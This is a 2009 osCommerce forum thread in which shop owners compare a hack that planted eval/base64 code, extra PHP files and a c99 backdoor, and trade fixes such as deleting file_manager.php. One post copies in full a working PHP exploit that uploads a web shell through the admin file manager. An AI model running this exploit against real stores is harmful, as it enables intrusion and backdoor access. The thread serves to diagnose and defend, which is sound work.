Did Someone hack my site ? ( Eval Base64 Decode )
#41
Posted 11 September 2009 - 01:42 AM
Nice work, Reiner, investigating this insidious code, I am hopeful that by removing the decode the rest of the file is intact or is there a possibility that something else is embedded in each file that I should be on the lookout for
here is a link to a good article regarding hacker minimizing steps
http://www.clubosc.com/hacked-oscommerce-e...al-reading.html
jk
#42
Posted 11 September 2009 - 01:51 AM
germ, on Sep 7 2009, 01:18 PM, said:
These hackers can even get behind the .htaccess file "protecting" the admin if there is a folder back there with 777 permissions. I've seen it happen.
Please note in the osCommerce 2.2 Milestone 2 Update 051112 Documentation on page 9:
Set the permissions on /catalog/images directory to 777.
Reset the permissions on /catalog/admin/includes/configure.php to 644.
Create the dir /catalog/admin/backups and set the permissions to 777.
Set the permissions on /catalog/admin/images/graphs directory to 777.
I followed the instructions that come with the above documentation and you say to change it. Why doesn't the documentation explain what you are saying? Will the documentation be updated with what you are saying now?
#43
Posted 11 September 2009 - 02:19 AM
spooks, on Sep 9 2009, 02:49 PM, said:
1. Renaming the admin folder
2. Deleting File Manager from admin.
Both those security risks have been detailed here many times.
Regular backups are also essential:
Use AutoBackup Database in Admin http://addons.oscommerce.com/info/2314
AND Database backup manager http://addons.oscommerce.com/info/5769
also Backup of all store files in zip format http://addons.oscommerce.com/info/6986
Aloha Sam,
This is the first time I read to DELETE the file manager from admin. Can you give the step by step direction. I am assuming you mean the File Manager in the TOOLS section of the admin panel? Step by step directions should be given for this one. I haven't a clue how to do this. That means that an integral part of the admin panel needs to be removed. By the way, why would this be necessary? Why can't this feature be secure and other parts of the admin control panel are left? Why pick out this particular feature and remove it?
The way this hack has shown up in the past ten days or so seems to indicate a big deal, doesn't it?
#44
Posted 11 September 2009 - 02:44 AM
bradybarrows, on Sep 11 2009, 03:19 AM, said:
This is the first time I read to DELETE the file manager from admin. Can you give the step by step direction. I am assuming you mean the File Manager in the TOOLS section of the admin panel? Step by step directions should be given for this one. I haven't a clue how to do this. That means that an integral part of the admin panel needs to be removed. By the way, why would this be necessary? Why can't this feature be secure and other parts of the admin control panel are left? Why pick out this particular feature and remove it?
The way this hack has shown up in the past ten days or so seems to indicate a big deal, doesn't it?
I would like to delete the file manager also.
#45
Posted 11 September 2009 - 02:49 AM
I think many more people are going to be hit with this and will be coming here for help.
#46
Posted 11 September 2009 - 08:17 AM
Weedwaka, on Sep 11 2009, 04:44 AM, said:
You should also rename your admin folder. If you do this, make sure you edit the configure.php file in the admin/includes folder. This file defines where the admin files are located and so contains references to the "admin" folder. These need to be changed to the new name. This should help to hide potentially vulnerable files from attackers.
BTW, I still have not figured out HOW the attacker got into my site, only that he managed to get into the file manager. I also have no idea yet what the sripts did when a user visited my store. But I must say this hack is pretty sophisticated, it installed both a backdoor for the hacker (c99madshell), and also sripts that get executed with every hit on your site.
#47
Posted 11 September 2009 - 11:33 AM
Pipeloops, on Sep 11 2009, 10:17 AM, said:
The "HOW" is clear now. Googeling for file_manager.php brought me to a security report for code injection into file_manager.php in osCOmmerce RC2.2a. No fix is known yet (other than renaming or deleting file_manager.php).
Here is the exploit:
<?php
print_r('
+---------------------------------------------------------------------------+
osCommerce Online Merchant 2.2 RC2a RCE Exploit
by Flyh4t
mail: phpsec@hotmail.com
team: http://www.wolvez.org
dork: Powered by osCommerce
Gr44tz to q1ur3n 、puret_t、uk、toby57 and all the other members of WST
Thx to exploits of blackh
+---------------------------------------------------------------------------+
');
$host ='democn.51osc.com';
$path = '/';
$admin_path = 'admin/';
$shellcode = "filename=fly.php&file_contents=test<?php%20@eval(\$_POST[aifly]);?>";
$message="POST ".$path.$admin_path."file_manager.php/login.php?action=save HTTP/1.1\r\n";
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message.="Accept-Language: zh-cn\r\n";
$message.="Content-Type: application/x-www-form-urlencoded\r\n";
$message.="Accept-Encoding: gzip, deflate\r\n";
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$message.="Host: $host\r\n";
$message.="Content-Length: ".strlen($shellcode)."\r\n";
$message.="Connection: Close\r\n\r\n";
$message.=$shellcode;
$fd = fsockopen($host,'80');
if(!$fd)
{
echo '[~]No response from'.$host;
die;
}
fputs($fd,$message);
echo ("[+]Go to see U webshell : $host/fly.php");
?>
# milw0rm.com [2009-08-31]
SO: DELETE OR RENAME THE FILE MANAGER!!!
#48
Posted 11 September 2009 - 02:19 PM
I sincerely hope someone will chide me for this post and correct these irrational misgivings- cuz right now I am doing la freak!
jk
#49
Posted 11 September 2009 - 03:17 PM
I found the extra files in:
/catalog/admin/includes/languages/english/images/buttons/
These were the same as blueflametuna execpt I did not find style.css.php.orig.
I have removed the file_mananger.php script - what negative effects will this have on using the admin?
Either way it's got to be better than being hacked again.
Thanks for all the useful information posted so far.
It would be useful to have a dedicated forum for security updates which you could then subscribe to. Unless there is already a security announcement list which I am not aware of?
#50
Posted 11 September 2009 - 04:12 PM
the name of the jpeg was: -57x40.jpgs-57x40.jpgl-57x40, I didn't click on it so as not to disturb it-
I had added some contributions in between and am not sure if this is a legitimate name for a jpeg or something more sinister but thought I'd mention it in case it is connected with this hack or someone can explain what it's for...
jk
#51
Posted 11 September 2009 - 08:03 PM
The purpose of the File Manager is to let you edit any program or file within OSC, from within OSC itself. It is accessed through the Tools menu in the Admin area.
When you delete the file_manager.php program, its name will still appear in the Tools menu, but if you click on File Manager, the program will not be found. Once the program is gone, hackers will not be able to exploit it.
If you are in the habit of using the File Manager to make changes to your site, it's much safer to copy the file to your own system, save it with another name (in case your changes don't work), then get another copy of the file to modify. After you make changes, FTP it up to your OSC site. That way, if you ever have to reinstall from scratch (God forbid), you will have a backup on your own system of any files you have changed.
And you'll be safer from hackers.
#52
Posted 11 September 2009 - 11:57 PM
I got hacked as well.. i found the various style.css.php and the little files that went along with it.. but does ANYONE know of an automated way to search and remove an entire line of code from a server??
I was thinking that using SSH access would work, but i am not familiar with the syntax for stuff like this. i figured out how to find and replace within an SSH session, but how do you find and DELETE within an entire directory?
Also, you guys should know that this is NOT JUST OSCOMMERCE.. they actually got into my website through wordpress.. LOTS of wordpress users have had this exact same hack..
So anyways.. no more SHOULD HAVE DONE and whos fault.. lets figure out how to fix and remove the code and how to close up the hole.
p.s. i had no filemanager.php file on my store.
Road Map to oscommerce File Structure
DO NOT PM ME FOR HELP. My time is valuable, unless i ask you to PM me, please dont. You will get better help if you post publicly. I am not as good at this as you think anyways!
HOWEVER, you can visit my blog (go to my profile to see it) and post a question there, i will find time to get back and answer you
Proud Memeber of the CODE BREAKERS CLUB!!
#53
Posted 12 September 2009 - 12:09 AM
Someone has been working on this a long time.
#54
Posted 12 September 2009 - 12:16 AM
Road Map to oscommerce File Structure
DO NOT PM ME FOR HELP. My time is valuable, unless i ask you to PM me, please dont. You will get better help if you post publicly. I am not as good at this as you think anyways!
HOWEVER, you can visit my blog (go to my profile to see it) and post a question there, i will find time to get back and answer you
Proud Memeber of the CODE BREAKERS CLUB!!
#55
Posted 12 September 2009 - 04:04 AM
let me know if you need it
Road Map to oscommerce File Structure
DO NOT PM ME FOR HELP. My time is valuable, unless i ask you to PM me, please dont. You will get better help if you post publicly. I am not as good at this as you think anyways!
HOWEVER, you can visit my blog (go to my profile to see it) and post a question there, i will find time to get back and answer you
Proud Memeber of the CODE BREAKERS CLUB!!
#56
Posted 12 September 2009 - 04:27 AM
We've had tons of timeouts since late August. The hack appeared and changed all the file dates on 9/4. (Unless it came along earlier and just kicked itself off on 9/4 ...) We've got everything cleaned and working fine (we think), but 3 techs have been unable to find a reason for the sudden timeouts.
Anyone else having this problem?
#57
Posted 12 September 2009 - 04:33 AM
Road Map to oscommerce File Structure
DO NOT PM ME FOR HELP. My time is valuable, unless i ask you to PM me, please dont. You will get better help if you post publicly. I am not as good at this as you think anyways!
HOWEVER, you can visit my blog (go to my profile to see it) and post a question there, i will find time to get back and answer you
Proud Memeber of the CODE BREAKERS CLUB!!
#58
Posted 12 September 2009 - 08:46 AM
Pipeloops, on Sep 10 2009, 03:50 AM, said:
If you have been hacked by this, go and look for the additional .php files (s.php, dg.php, in my case also style.css.php) and DELETE them!!!
Reiner
I found the same files in my cart. I have deleted them and still looking for others and removing the code on each php page. I have not begun experiencing some problems with error codes after doing this. I have shut my site down to the public while I am working on it. Obviously the same hacker.
#59
Posted 12 September 2009 - 08:47 AM
robinwarren, on Sep 11 2009, 06:27 PM, said:
We've had tons of timeouts since late August. The hack appeared and changed all the file dates on 9/4. (Unless it came along earlier and just kicked itself off on 9/4 ...) We've got everything cleaned and working fine (we think), but 3 techs have been unable to find a reason for the sudden timeouts.
Anyone else having this problem?
All the files I removed had a 9/4 date.
#60
Posted 12 September 2009 - 01:59 PM









